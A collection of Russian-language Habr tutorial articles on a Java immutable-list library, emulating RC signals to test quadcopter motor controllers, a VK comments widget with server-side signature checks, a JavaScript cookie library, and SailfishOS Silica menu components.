* Взаимные преобразования между `ImmutableList`, `MutableList`, `List` должны выполняться как можно более быстро (то есть, без копирования списков, если это возможно). Без «дешёвых» преобразований туда-обратно вся затея начинает выглядеть сомнительно.
Следует отметить, что рассматриваются только `List`-ы, поскольку на данный момент в библиотеке реализованы только они. Но ничто не мешает дополнить библиотеку `Set`-ами и `Map`-ами.
API
---
### ImmutableList
`ImmutableList` является наследником `ReadOnlyList` (который, как и в предыдущей статье, представляет собой скопированный интерфейс `List`, из которого выкинуты все изменяющие методы). Добавлены методы:
```
List toList();
MutableList mutable();
boolean contentEquals(Iterable extends E iterable);
```
Метод `toList` обеспечивает возможность передачи `ImmutableList` в куски кода, ожидающие `List`. Возвращается обёртка, в которой все изменяющие методы возвращают `UnsupportedOperationException`, а остальные методы переадресуются к исходному `ImmutableList`.
Метод `mutable` преобразует `ImmutableList` в `MutableList`. Возвращается обёртка, в которой все методы переадресуются к исходному `ImmutableList` до момента первого изменения. Перед изменением обёртка отвязывается от исходного `ImmutableList`, копируя его содержимое во внутренний `ArrayList`, к которому далее и переадресуются все операции.
Метод `contentEquals` предназначен для сравнения содержимого списка с содержимым произвольного переданного `Iterable` (разумеется, осмысленной эта операция является только для тех реализаций `Iterable`, у которых есть какой-то внятный порядок элементов).
Отметим, что у нашей реализации `ReadOnlyList` методы `iterator` и `listIterator` возвращают стандартные `java.util.Iterator` / `java.util.ListIterator`. Эти итераторы содержат изменяющие методы, которые придётся глушить выдачей `UnsupportedOperationException`. Красивее было бы сделать свои `ReadOnlyIterator`, но в этом случае мы не смогли бы написать `for (Object item : immutableList)`, что сразу испортило бы всё удовольствие от использования библиотеки.
### MutableList
`MutableList` является наследником обычного `List`. Добавлены методы:
```
ImmutableList snapshot();
void releaseSnapshot();
boolean contentEquals(Iterable extends E iterable);
```
Метод `snapshot` предназначен для получения «снимка» текущего состояния `MutableList` в виде `ImmutableList`. «Снимок» сохраняется внутри `MutableList`, и если на момент следующего вызова метода состояние не изменилось, возвращается тот же экземпляр `ImmutableList`. Сохранённый внутри «снимок» сбрасывается при первом вызове любого изменяющего метода, либо при вызове `releaseSnapshot`. Метод `releaseSnapshot` может использоваться для экономии памяти, если есть уверенность, что «снимок» больше никому не понадобится, но изменяющие методы будут вызваны ещё не скоро.
### Mutabor
Класс `Mutabor` предоставляет набор статических методов, являющихся «точками входа» в библиотеку.
Да, проект теперь называется «mutabor» (оно и созвучно с «mutable», и в переводе означает «я превращусь», что неплохо согласуется с идеей быстрых «превращений» одних типов коллекций в другие).
```
public static ImmutableList copyToImmutableList(E[] original);
public static ImmutableList copyToImmutableList(Collection extends E original);
public static ImmutableList convertToImmutableList(Collection extends E original);
public static MutableList copyToMutableList(Collection extends E original);
public static MutableList convertToMutableList(List original);
```
Методы `copyTo*` предназначены для создания соответствующих коллекций путём копирования предоставленных данных. Методы `convertTo*` предусматривают быстрое преобразование переданной коллекции в нужный тип, а если быстро преобразовать не удалось, то выполняют медленное копирование. Если быстрое преобразование прошло успешно, то исходная коллекция очищается, и предполагается, что в дальнейшем она не будет использоваться (хотя и может, но в этом вряд ли есть смысл).
Вызовы конструкторов объектов-реализаций `ImmutableList` / `MutableList` спрятаны. Предполагается, что пользователь имеет дело только с интерфейсами, сам такие объекты не создаёт, а для преобразования коллекций использует описанные выше методы.
Детали реализации
-----------------
### ImmutableListImpl
Инкапсулирует массив объектов. Реализация примерно соответствует реализации `ArrayList`, из которой выкинуты все изменяющие методы и проверки на concurrent modification.
Реализация методов `toList` и `contentEquals` также достаточно тривиальна. Метод `toList` возвращает обёртку, перенаправляющую вызовы к данному `ImmutableList`, медленного копирования данных не происходит.
Метод `mutable` возвращает `MutableListImpl`, созданный на базе данного `ImmutableList`. Копирования данных не происходит до тех пор, пока у полученного `MutableList` не будет вызван какой-либо изменяющий метод.
### MutableListImpl
Инкапсулирует ссылки на `ImmutableList` и `List`. При создании объекта заполняется всегда только одна из этих двух ссылок, другая остаётся `null`.
```
protected ImmutableList immutable;
protected List list;
```
Неизменяющие методы перенаправляют вызовы к `ImmutableList`, если он не `null`, и к `List` в противном случае.
Изменяющие методы перенаправляют вызовы к `List`, предварительно выполнив инициализацию:
```
protected void beforeChange() {
if (list == null) {
list = new ArrayList<>(immutable.toList());
}
immutable = null;
}
```
Метод `snapshot` выглядит так:
```
public ImmutableList snapshot() {
if (immutable != null) {
return immutable;
}
immutable = InternalUtils.convertToImmutableList(list);
if (immutable != null) { //удалось выполнить быстрое преобразование
//Преобразование очистило исходный список, обнуляем ссылку.
//Список потом будет пересоздан копированием immutable в случае вызова изменяющего метода.
list = null;
return immutable;
}
immutable = InternalUtils.copyToImmutableList(list);
return immutable;
}
```
Реализация методов `releaseSnapshot` и `contentEquals` тривиальна.
Такой подход позволяет свести к минимуму количество копирований данных при «обыкновенном» использовании, заменив копирования на быстрые преобразования.
### Быстрое преобразование списков
Быстрые преобразования возможны для классов `ArrayList` или `Arrays$ArrayList` (результат метода `Arrays.asList()`). На практике в подавляющем большинстве случаев попадаются именно эти классы.
Внутри данные классы содержат массив элементов. Суть быстрого преобразования состоит в получении ссылки на этот массив через reflections (это private поле) и замене её ссылкой на пустой массив. Это гарантирует, что единственная ссылка на массив останется у нашего объекта, и массив останется неизменным.
В прошлой версии библиотеки быстрые преобразования типов коллекций осуществлялись вызовом конструктора. При этом исходный объект коллекции портился (становился непригодным для дальнейшего использования), чего от конструктора подсознательно не ожидаешь. Теперь для преобразования используется специальный статический метод, а исходная коллекция не портится, а просто очищается. Таким образом, пугающее необычное поведение было устранено.
### Проблемы с equals / hashCode
В коллекциях Java используется очень странный подход к реализации методов `equals` и `hashCode`.
Сравнение осуществляется по содержимому, что вроде бы и логично, но при этом не учитывается класс самого списка. Поэтому, например, `ArrayList` и `LinkedList` с одинаковым содержимым будут `equals`.
**Вот реализация equals / hashCode из AbstractList (от которого ArrayList унаследован)**
```
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof List))
return false;
ListIterator e1 = listIterator();
ListIterator e2 = ((List) o).listIterator();
while (e1.hasNext() && e2.hasNext()) {
E o1 = e1.next();
Object o2 = e2.next();
if (!(o1==null ? o2==null : o1.equals(o2)))
return false;
}
return !(e1.hasNext() || e2.hasNext());
}
public int hashCode() {
int hashCode = 1;
for (E e : this)
hashCode = 31\*hashCode + (e==null ? 0 : e.hashCode());
return hashCode;
}
```
Таким образом, теперь абсолютно все реализации `List` обязаны иметь аналогичную реализацию `equals` (и, как следствие, `hashCode`). В противном случае можно получить ситуации, когда `a.equals(b) && !b.equals(a)`, что нехорошо. Аналогичная ситуация и с `Set`-ами и `Map`-ами.
В приложении к библиотеке это означает, что реализация `equals` и `hashCode` для `MutableList` предопределена, и в такой реализации `ImmutableList` и `MutableList` с одинаковым содержимым не могут быть `equals` (поскольку `ImmutableList` не является `List`). Поэтому для сравнения содержимого были добавлены методы `contentEquals`.
Реализация методов `equals` и `hashCode` для `ImmutableList` сделана полностью аналогичной варианту из `AbstractList`, но с заменой `List` на `ReadOnlyList`.
Итого
-----
[Исходники библиотеки и тесты выложены по ссылке](https://github.com/Aleksej-Kozlov/mutabor) в виде maven-овского проекта.
На случай, если кто-то захочет использовать библиотеку, завёл [группу в контактике](https://vk.com/mutabor_java) для «обратной связи».
Использование библиотеки довольно очевидно, вот короткий пример:
```
private boolean myBusinessProcess() {
List tempFromDb = queryEntitiesFromDatabase("SELECT \* FROM my\_table");
ImmutableList fromDb = Mutabor.convertToImmutableList(tempFromDb);
if (fromDb.isEmpty() || !someChecksPassed(fromDb)) { return false; }
//...
MutableList list = fromDb.mutable(); //time to change
list.remove(1);
ImmutableList processed = list.snapshot(); //time to change ended
//...
if (!callSideLibraryExpectsListParameter(processed.toList())) { return false; }
for (Entity entity : processed) { outputToUI(entity); }
return true;
}
```
Всем удачи! Шлите багрепорты! | https://habr.com/ru/post/471344/ | null | ru | null |
# А мне летать охота, или как протестировать узлы квадрокоптера без аппаратуры радиоуправления
Начитавшись статей на Хабре про квадрокоптеры, и насмотревшись видео на YouTube, захотелось и мне сделать квадрокоптер.
Заказал я в чудесном китайском [магазине](http://www.rctimer.com/) деталек, за основу брал список из этой [статьи](http://habrahabr.ru/post/144173/). К сожалению, в том магазине отсутствовала радиоаппаратура, да и опыта покупок на такие суммы у меня пока что не было, поэтому заказ состоял только из пропеллеров, аккумуляторов, двигателей, контроллеров к ним (ESC) и главного контроллера.
Приехало все достаточно быстро — менее двух недель (из Гонконга в Киев). Сразу после этого заказал в другом [магазине](http://www.hobbyking.com/) радиоаппаратуру и разную мелочь.
Раму я сделал из подручных материалов (квадратной алюминиевой трубы из местного строительного магазина), разместил на ней двигатели с контроллерами. И захотелось мне их испытать — вдруг бракованые есть. Инструкция к ESC говорила о том, что нужно подключить к ним один из каналов от радиоуправления. Но радиоуправление приедет не раньше чем через полторы недели…
Полез я разбираться, как же управляются эти ESC. Оказалось, управляются они ШИМом, причем скважность импульсов тут не важна, а важна абсолютная длительность импульсов. Минимумом считаются импульсы в 1 мс, максимумом — в 2 мс ([RaJa](http://habrahabr.ru/users/RaJa/), спасибо за помощь).
Для эмуляции радиоуправления я использовал чудесную разработку [DiHalt](http://habrahabr.ru/users/DIHALT/)`а — плату [pinboard II](http://shop.easyelectronics.ru/index.php?productID=151) (за что ему отдельное спасибо). Написал программу на Си, код до безобразия простой: микроконтроллер (ATMega16) ждет байт из последовательного порта, и если это 'q', 'w', 'e' — увеличивает (с разным шагом) ширину импульса на выхоже ШИМ, если 'a', 's', 'd' — уменьшает. Также программа мигает одним из светодиодов — чтоб убедиться что МК не завис, и зажигает/гасит второй светодиод если на порт приходит '1'/'0' (для проверки связи с компьютером). Сильно не ругайте, это первая программа на Си (до этого [писал](http://habrahabr.ru/post/135124/) для tiny13 на ассемблере).
[Код программы](http://pastebin.com/KGy4wRax)
ШИМ работает на частоте 488 Гц, все ESC адекватно такой сигнал воспринимают.
Компилировать в AVRstudio (я пока что 4ю использую), тактовая частота МК — 8MHz, прошивка с помощью bootloader`а (который был записан в МК в комплекте с pinboard).
Для управления платой можно использовать обычный screen (для \*nix):
`lim$ screen /dev/tty.usbserial-000013FAA 9600`
либо гипертерминал для Win\*.
И напоследок, как все в сборе выглядит:

И еще одно видео (вторая попытка): | https://habr.com/ru/post/147683/ | null | ru | null |
# Виджет комментариев вконтакте для вашего сайта и хранение количества комментариев на сервере
Двигаясь в ногу со временем, я решил разместить на своем сайте виджет комментариев «Вконтакте». Немного терпения, гугла и документации вполне достаточно для того чтобы достичь результата. Разместить сам виджет не составляет никакого труда, вконтакте предоставляет простой интерфейс генерирующий код для сайта. Мне хотелось в некоторых местах отображать количество комментариев. Тут и возникли сложности, как обычно это бывает, дьявол кроется в мелочах. Я попробую разложить по полочкам то, о чём умалчивает документация.
1.Регистрация cайта вконтакте
=============================
Чтобы разместить сам виджет, сначала сайт следует зарегистрировать как приложение Вконтакте [>>здесь](http://vkontakte.ru/editapp?act=create). Заполняем форму, получаем СМС, еще раз заполняем форму, в результате регистрации приложения мы должны получить **два ключа**:
**api\_id** — идентификатор нашего сайт как приложения в вконтакте
**api\_secret** — секретный ключ, который знает только владелец приложения. По нему шифруются данные, которые иначе могут быть подменены/испорчены/искажены злоумышленником, для генерации электронной подписи к этим данным на стороне вконтакте, нам он нужен, для того чтобы проверять их на достоверность. И да, он нам тоже понадобится в дальнейшем.
*P.S: Вконтакте предоставляет упрощенный способ регистрации приложения для виджета «Комментарии», но в этом случае невозможно получить ключ api\_secret(по крайней мере я битый час искал способ его получить и… не нашёл), который необходим в случае хранения количества комментариев. Поэтому не ленимся и создаём приложение.*
2.Создание виджета
==================
Создаём сам виджет, не имею желания дублировать документацию к виджету, скажу что в итоге должно получиться что-то вроде этого:
```
VK.init({apiId: %ВАШ_api_id%, onlyWidgets: true});
VK.Widgets.Comments("vk_comments", {limit: 10, width: "1000", attach: "*", onChange: addCommentCallback}, "post_php echo $post['id']?");
```
что такое onChange, читайте дальше; Третий параметр — это ID данного виджета(блока) комментариев, если его не указывать в качестве id используется md5-хэш от location.href(ссылки на эту страницу). Мне это не подошло, так как на один элемент у меня указывало несколько разных ссылок. На этой стадии виджет уже работает, теперь нужно сообразить отображение количества комментариев.
3.Передача данных о количестве комментариев на сервер
=====================================================
Очевидно, что самым удачным вариантом является хранение количества комментариев в базе данных, даже если мы не храним сами комментарии, так как получение количества комментариев через API вконтакте будет слишком сильно тормозить работу сайта. Я храню количество комментариев в отдельном столбце таблицы с данными. Вопрос только в том, как держать в базе значение в обновленном состоянии и избежать рассинхронизации.
API виджета комментария имеет параметр **onChange**. Функция, которую содержит параметр **onChange**, вызывается каждый раз при событии удаления/создания комментария. Колбек-функция onChange вызывается с четырьмя параметрами
**num** — количество комментариев
**last\_comment** — последний комментарий
**date** — дата
**sign** — ключ
Это нам и нужно. Теперь пишем саму функцию addCommentCallback, она будет делать ajax запрос, передавая все 4 параметра выше, а также id записи на сервер. Вот что получилось у меня(используется jquery):
```
function addCommentCallback(num, last_comment, date, sign){
$.post("%ССЫЛКА_НА_СТРАНИЦУ_ОБРАБОТКИ_КОММЕНТАРИЯ%",{
type: 'vkontakte',
num: num,
last_comment: last_comment,
date: date,
sign: sign,
id: "php echo $this-post['id']?>"
});
}
```
Сомневаюсь, что вы хотите превращать свой сайт в забор на котором можно писать все что угодно, и в один прекрасный день вместо количества комментариев обнаружить слово из трех букв или нелестное мнение о вас и вашем сайте. Поэтому перед тем, как сохранить количество комментариев, мы проверяем, что данные, которые пришли от пользователя достоверны.
4.Валидация данных
==================
Теперь-то нам и понадобится ключ api\_secret, полученный нами при регистрации приложения. Повторюсь, лично я не нашел способа получить этот код, если регистрировать сайт через упрощенку.
php-код, обрабатывающий запрос, и пишущий в базу количество комментариев:
```
$post = $_POST;
if (!isset($post['num'])){
$error = 'не указано количество';
}
else{
$apiSecret = %ВАШ_API_SECRET%;//(да, за этим мы и прошли полную регистрацию)
$hash = md5($apiSecret.$post['date'].$post['num'].$post['last_comment']);// до того, как обновить количество комментариев, мы получаем md5 - хэш от параметров api_secret, date, num, last_comment:
if (strcmp($hash, $post['sign']) == 0){//проверяем что хэши совпадают
//тут код сохранения в базу
}
else{
$error = 'не совпадает хэш';
}
}
```
Вот и всё! При желании, можно в базу сохранять не только количество комментариев, но и сами комментарии. Надеюсь что статья оказалась полезной и я не потратил зря время. | https://habr.com/ru/post/130260/ | null | ru | null |
# Работа с куки на чистом JavaScript без головной боли
Привет, Хабр!
=============
Недавно я столкнулся с необходимостью работать с куки-файлами при помощи JavaScript. Когда я увидел, насколько ужасна работа с **document.cookie** на чистом JavaScript, я полез искать библиотеку для удобства работы с куками. Как оказалось, немногие библиотеки для работы с куками, хоть и на первый взгляд кажутся простыми и удобными, в процессе работы с ними обнаруживаеся немало подводных камней. Вот некоторые из них:
* **Получение куки по указанному пути** — некоторые из испробованных библиотек имели проблемы с доступом к куки с указанием пути: например, со страницы сайта я не мог получить куки с путём `/` или наоборот, находясь в "корне" сайта через раз получал `undefined` при попытке получить куки по указанному пути `/order`
* **Поддержка JSON** — встречается, но работает криво: например, при получении куки, хранящего JSON, вы получите URI-encoded строку, которую должны будете сами раскодировать и распарсить. Подключать библиотеку в свой код и дописывать функции для решения этой проблемы как-то неправильно.
* **Удаление куки** — у всех библиотек были проблемы с удалением кук. Практически все чистили значение куки, но не удаляли его. Отдельные проблемы были с сессионными куки: некоторые библиотеки не видели их в "упор", и ни одна из них не смогла удалить сессионные куки.
> Не стану называть билиотеки, которые я попробовал, так как не считаю это корректным по отношению к их разработчикам, но уточню, что пробовал самые попуярные библиотеки (по версии **npm**) для работы с куки.
>
>
Последняя проблема уже окончательно взбесила меня, и я решил, что пора написать собственную библиотеку для работы с куки.
[Cookie.js (npm — cookielib)](https://github.com/UnSstrennen/cookie.js)
-----------------------------------------------------------------------
Данная библиотека решила все вышеперечисленные проблемы, сохранив небольшие размеры своих предшественников и удобство использования функций.
### Почему следует использовать её?
* Решила все проблемы, описанные выше, сохранив свои размеры и простоту в использовании.
* Минифицированная версия — всего **707 байт**
* Не основывается на классе-обработчике, что экономит время и ресурсы
* Работает с **JSON** "из коробки" (**Возвращает объект JSON, если программист ожидает его получить, может создавать JSON-куки, приняв в качестве парамера JSON-объект**)
* При создании куки можно задать любые куки-свойства
* Работает со **всеми** браузерами (**Даже ES6!**)
* Написана на чистом JS (**Никаких зависимостей**)
* Может быть установлена при помощи **npm**, доступна по **CDN**, может быть легко интегрирована с использованием исходного кода библиотеки
### Немного о работе с библиотекой
Создать сессионное куки:
```
setCookie('name', 'value'); // строчный куки
setCookie('name', {'key': 'value'}); // json куки
```
Создать "истекающее" куки:
```
setCookie('name', 'value', {expires: Date(3)}); // строка с параметром
setCookie('name', {'key': 'value'}, {expires: Date(3)}); // json с параметром
```
#### С функцией `setCookie()` можно задать любые параметры куки. Параметры можно найти [ниже](#options).
Получить куки:
```
getCookie('name') // получить строку
getCookie('name', json=true) // получить куки json, если куки является json. Возвращает объект JSON
```
Удаление куки:
```
deleteCookie('name'); // json или строка - не важно!
```
### Параметры куки
Для задания параметра куки, вызовите функцию `setCookie(name, value, dict)`, заполнив **dict** параметр как словарь "параметр куки": "значение параметра"
#### Список ключей-значений:
* **path** (str) — URL, по котрому доступен куки
* **domain** (str) — домен, для котрого куки доступен
* **expires** (Date object) — время "истечения" куки (дата/время задаются как Date-объект)
* **max-age** (int) — время жизни куки в секундах (альтернатива параметру **expires**)
* **secure** (bool) — если true, куки будет доступен по HTTPS. **НЕ МОЖЕТ БЫТЬ false**
* **samesite** (str) — настройка, необходимая для защиты от XSRF-атак… Может принимать значения strict или lax. Ознакомьтесь [с этой статьёй](https://web.dev/samesite-cookies-explained/), если хотите узнать больше о подобных атаках и предназначении данного параметра.
+ **httpOnly** (bool) — если true, куки не будет доступен для работы с ним при помощи JavaScript. **НЕ МОЖЕТ БЫТЬ false**
### Заключение
Данная библиотека была создана с целью исправить все недочёты ее аналогов, которые смело можно назвать полурабочими. [**Ссылка на GitHub**](https://github.com/UnSstrennen/cookie.js). Хочу услышать комментарии сообщества.
### Примечания
Выпустил новую версию, учитывая замечания [printf](https://habr.com/ru/users/printf/) и [RekGRpth](https://habr.com/ru/users/rekgrpth/). Спасибо за замечания! | https://habr.com/ru/post/501724/ | null | ru | null |
# Разработка для SailfishOS: меню
Здравствуйте! Очередное продолжение цикла статей о разработке для мобильной платформы SaifishOS. На этот раз я хочу рассказать о том, как в приложении реализовать различного вида меню. Данная тема заслуживает отдельной статьи, поскольку меню в SailfishOS сами по себе выглядят достаточно интересно и не похожи на меню в других мобильных платформах.
Собственно, основной вид меню в Sailfish — это меню, которое показывается сверху экрана. Поскольку в самой платформе большой акцент сделан именно на жесты и на быстрое управление с их помощью, то и для того, чтобы показать данное меню используется жест — свайп пальцем сверху вниз. Выглядит это следующим образом: если в приложении на экране доступно меню, то вверху экрана появляется светлая полоска:
**Полноразмерный скриншот**
Даже на полноразмерном скриншоте эта полоска плохо различима, однако на реальном устройстве она заметна. Для сравнения ниже приведен скриншот этого же экрана, но уже без меню и, соответственно, с отсутствующей полоской.
**Полноразмерный скриншот**
Если потянуть на экране вниз, то появится то самое меню:

Интересной особенностью взаимодействия с меню в SailfishOS является то, что выбрать какой-либо пункт меню можно двумя способами. Можно просто сделать свайп вниз, пока меню не появится полностью (как на скриншоте выше). Тогда оно останется на экране и можно будет просто ткнуть в нужный пункт меню. А можно потянуть вниз не до конца и тогда по мере появления меню его пункты будут подсвечиваться, как на скриншоте снизу:

Если в этот момент убрать палец с экрана, то будет выбран подсвеченный пункт меню.
### PullDownMenu
Реализация такого меню в Sailfish довольно проста. Для этого в Sailfish Silica присутствует компонент *PullDownMenu*. Однако, данный компонент имеет ряд особенностей, которые необходимо знать перед тем как начинать его использовать.
Во-первых, поскольку само меню вызывается с помощью свайп жеста, то *PullDownMenu* можно использовать только внутри контейнеров, которые данный жест позволяют. В Sailfish Silica такими контейнерами являются:
* *SilicaFlickable* — самый базовый контейнер, который позволяет прокручивать экран, если содержимое полностью не влезает в рамки экрана. Данный компонент наследует стандартный QML компонент *Flickable* и его следует использовать в тех случаях, когда необходимо меню на странице приложения, но ни один из нижеперечисленных контейнеров не подходит.
* *SilicaListView* — компонент отображающий список элементов, который наследует стандартный QML компонент *ListView*.
* *SilicaGridView* — так же как и предыдущий компонент, используется для отображения списка элементов, но не в виде вертикального списка, а в виде сетки. Наследует стандартный QML компонент *GridView*.
* *SilicaWebView* — компонент для отображения веб содержимого, наследует стандартный QML компонент *WebView*.
Во-вторых, содержимым *PullDownMenu* должны быть компоненты типа *MenuItem* или *MenuLabel* (на самом деле нет, см. текст ниже). Первый представляет собой интерактивный пункт меню и имеет ряд следующих свойств:
* *text* — непосредственно текст пункта меню.
* *color* — цвет текста, определенного в предыдущем свойстве.
* *horizontalAlignment* — горизонтальное выравнивание текста пункта меню. Может быть одним из следующих значений: *Text.AlignLeft*, *Text.AlignRight*, *Text.AlignHCenter* (используется по умолчанию) или *Text.AlignJustify*.
* *down* — значение данного свойства равно *true*, когда пункт меню был выбран.
Помимо этих свойств, *MenuItem* так же содержит достаточно большое количество свойств вида *font.* для настройки шрифта пункта меню (о них можно прочитать в [документации](https://sailfishos.org/develop/docs/silica/qml-sailfishsilica-sailfish-silica-menuitem.html/)) и обработчик сигнала *onClicked()*, в котором определяются действия, которые необходимо выполнить при выборе данного пункта меню.
*MenuLabel* представляет собой статичный пункт меню, который просто отображает некоторый текст и не может быть нажат. Такие пункты используются, например, в качестве заголовка меню или как разделители между интерактивными пунктами меню. Естественно, *MenuLabel* содержит меньше свойств, чем *PullDownMenu*:
* *text* — текст пункта меню.
* *color* — цвет текста, определенного в предыдущем свойстве.
* *verticalOffset* — вертикальный отступ.
**UPD:** Конечно-же, содержимым *PullDownMenu*, как и других меню, рассмотренных в данной статье, может быть любой компонент, а не только *MenuItem* или *MenuLabel*. Однако, в случае использования других компонентов всю логику взаимодействия разработчику придется реализовывать самому. Да и выглядеть такое меню будет уже не нативно и, следовательно, использовать подобные возможности стоит только в редких случаях. В стандартных же ситуациях достаточно *MenuItem* и *MenuLabel*, поэтому использование других компонентов внутри меню в данной статье рассмотрено не будет.
Минимальный пример страницы с *PullDownMenu* будет выглядеть следующим образом:
```
Page {
id: page
SilicaFlickable {
anchors.fill: parent
contentHeight: column.height
PullDownMenu {
MenuItem {
text: qsTr("Пункт меню 3")
onClicked: console.log("Нажат третий пункт меню")
}
MenuLabel {
text: qsTr("Подраздел")
}
MenuItem {
text: qsTr("Пункт меню 2")
onClicked: console.log("Нажат второй пункт меню")
}
MenuItem {
text: qsTr("Пункт меню 1")
onClicked: console.log("Нажат первый пункт меню")
}
MenuLabel {
text: qsTr("Меню приложения")
}
}
Column {
id: column
width: page.width
spacing: Theme.paddingLarge
PageHeader {
title: qsTr("Моё приложение")
}
Label {
text: "Привет, Хабр!"
width: page.width
horizontalAlignment: Text.AlignHCenter
font.pixelSize: Theme.fontSizeExtraLarge
}
}
}
}
```
Само же меню будет выглядеть так:

Здесь стоит отметить, что пункты меню внутри *PullDownMenu* определяются не в порядке их появления на экране при свайп жесте, а в порядке их присутствия в самом меню, сверху вниз. Данная особенность по началу может показаться непривычной. Кроме того, стоит отметить, что пример выше приведен только в ознакомительных целях, в реальных же приложениях не стоит использовать слишком много пунктов меню и тем более *MenuLabel* компонентов.
### Свойства PullDownMenu
*PullDownMenu* содержит ряд свойств, которые позволяют кастомизировать его внешний вид и поведение. Например, отступы компонента можно настроить с помощью следующих свойств:
* *spacing* — расстояние между нижним краем меню и верхней границей контента страницы. По умолчанию это значение равно нулю.
* *topMargin* — расстояние между верхним краем меню (то же самое, что верхней кран экрана) и верхним краем самого верхнего пункта меню. По умолчанию это значение равно *Theme.itemSizeSmall*.
* *bottomMargin* — расстояние между нижним краем самого нижнего пункта меню и нижним краем самого меню.
Интересной особенностью последнего свойства (*bottomMargin*) является то, что его значение по умолчанию меняется в зависимости от содержимого меню. Если самый нижний элемент меню это *MenuLabel*, то значение свойства равно 0. В противном же случае значение свойства равно высоте компонента *MenuLabel*. Посмотреть разницу можно на примерах ниже:
| | |
| --- | --- |
| | |
Как видно на скриншотах, данная особенность позволяет всегда иметь одну и ту же высоту меню, вне зависимости от наличия или отсутствия в нем заголовка, что в свою очередь позволяет сохранить пользовательский опыт при использовании разных типов меню.
Помимо размеров можно так же менять другие параметры внешнего вида *PullDownMenu* с помощью следующих свойств:
* *background* — позволяет описать компонент, который будет использоваться в качестве фона меню.
* *backgroundColor* — цвет фона меню. Примечательно, что система сама применяет градиент к указанному цвету.
* *highlightColor* — цвет подсветки выбранного элемента меню, а так же индикатора меню, отображаемого сверху экрана, когда само меню закрыто.
* *menuIndicator* — позволяет описать компонент, который будет использоваться в качестве индикатора меню, отображаемого сверху экрана, когда само меню закрыто.
Можно изменить цвета в меню из примера выше на следующие:
```
backgroundColor: "red"
highlightColor: "green"
```
Тогда получится меню следующего вида:

Выглядит, конечно, страшновато, но зато демонстрирует как работают данные свойства. А с помощью *background* и *menuIndicator* можно установить, например, картинки в качестве фона и индикатора меню.
Вышеописанные свойства могут оказаться полезными, если необходимо сделать так, чтобы меню, так же как и все приложение, было выполнено, например, в корпоративных цветах. Помимо этих свойств компонент *PullDownMenu* так же содержит свойства, позволяющие получить статус меню или легко изменить его поведение:
* *active* — свойство логического типа, значение которого равно *true*, если меню полностью или частично присутствует на экране.
* *busy* — так же свойство логического типа. Если его значение установить равным *true*, то индикатор меню вверху экрана начнет «пульсировать». При этом само меню будет все так же доступно. Данное свойство удобно использовать, если необходимо показать пользователю, что какой-то процесс все еще выполняется.
* *flickable* — с помощью этого свойства можно указать flickable компонент, с помощью которого будет активироваться меню. Т.е. вместо того, чтобы помещать *PullDownMenu* внутри какого-либо контейнера, можно просто указать этот контейнер значением для данного свойства.
* *quickSelect* — свойство логического типа, которое позволяет включить функцию быстрого выбора для меню. Данная функция работает только на меню всего с одним пунктом. Если эта функция активирована, то при любой прокрутке меню (в том числе и до конца) будет автоматически выбран его единственный пункт.
Наконец, *PullDownMenu* содержит два метода. После выбора какого либо пункта меню, происходит закрытие этого меню и проигрывание анимации закрытия. Эту анимацию можно отменить с помощью метода *cancelBounceBack()*, если, например, вызвать его в обработчике *onClicked()* нужного пункта меню. Это может быть полезным в редких случаях, когда закрытие меню может помешать выполнению действия, назначенного для пункта меню.
Метод *close()* позволяет вручную закрыть меню. При этом можно в качестве аргумента данного метода можно указать *true* и тогда меню закроется мгновенно, без анимации. Например, в нижеприведенном коде, при выборе пункта меню «Пункт меню 2», меню закроется без анимации:
```
PullDownMenu {
id: menu
MenuItem {
text: qsTr("Пункт меню 2")
onClicked: menu.close(true)
}
MenuItem {
text: qsTr("Пункт меню 1")
onClicked: console.log("Нажат первый пункт меню")
}
}
```
### PushUpMenu
Еще один тип меню — *PushUpMenu* — представляет из себя то же самое *PullDownMenu*, с той лишь разницей, что появляется данное меню не сверху экрана, а снизу и, соответственно, активируется свайп жестом снизу вверх. *PushUpMenu* выглядит так же как и *PullDownMenu* и все его свойства и методы аналогичны таковым из *PullDownMenu*, поэтому в отдельном упоминании в данной статье они не нуждаются.
Однако, здесь стоит заметить, что, поскольку *PushUpMenu* (так же как и *PullDownMenu*) должен находиться внутри контейнера, который позволяет свайп жесты, то активация такого меню происходит только после того, как весь контент контейнера был прокручен до конца. Другими словами, если поместить *PushUpMenu* на странице со списком, то активация этого меню произойдет только после того, как пользователь прокрутил весь список до конца.
В коде такой пример будет выглядеть так:
```
Page {
id: page
SilicaListView {
PushUpMenu {
MenuItem {
text: qsTr("Пункт меню 3")
onClicked: console.log("Нажат третий пункт меню")
}
MenuItem {
text: qsTr("Пункт меню 2")
onClicked: console.log("Нажат второй пункт меню")
}
MenuItem {
text: qsTr("Пункт меню 1")
onClicked: console.log("Нажат первый пункт меню")
}
MenuLabel {
text: qsTr("Меню приложения")
}
}
id: listView
model: 20
anchors.fill: parent
header: PageHeader {
title: "Простой список"
}
delegate: BackgroundItem {
id: delegate
Label {
x: Theme.paddingLarge
text: "Элемент #" + index
anchors.verticalCenter: parent.verticalCenter
color: delegate.highlighted ? Theme.highlightColor : Theme.primaryColor
}
}
VerticalScrollDecorator {}
}
}
```
В результате, добраться до меню можно только если прокрутить весь список до конца:
| | |
| --- | --- |
| | |
### ContextMenu
Последний тип меню в SailfishOS, который будет рассмотрен в данной статье, это контекстное меню. Оно реализуется с помощью компонента *ContextMenu* и представляет собой всплывающее меню, которое можно ассоциировать с каким-либо элементом пользовательского интерфейса. Содержимое такого меню описывается так же, как и для *PushUpMenu* и *PullDownMenu*, с помощью компонентов *MenuItem* и *MenuLabel*.
Чаще всего такие меню используются для реализации контекстного меню элементов списка. Для этого у компонента *ListItem*, который используется для описания делегатов списка, есть специальное свойство *menu*. Так можно добавить контекстное меню к элементам списка из последнего примера. Для этого придется немного изменить делегат, чтобы он был реализован через *ListItem*, и добавить к нему само меню:
```
delegate: ListItem {
id: delegate
Label {
id: label
x: Theme.paddingLarge
text: "Элемент #" + index
anchors.verticalCenter: parent.verticalCenter
color: delegate.highlighted ? Theme.highlightColor : Theme.primaryColor
}
menu: ContextMenu {
MenuLabel {
text: "Контекстное меню"
}
MenuItem {
text: "Выделить жирным"
onClicked: label.font.bold = !label.font.bold
}
MenuItem {
text: "Выделить курсивом"
onClicked: label.font.italic = !label.font.italic
}
}
}
```
Теперь, при долгом тапе по элементу списка, под ним появится контекстное меню:

При выборе пунктов данного меню изменится стиль текста элемента списка:
| | |
| --- | --- |
| | |
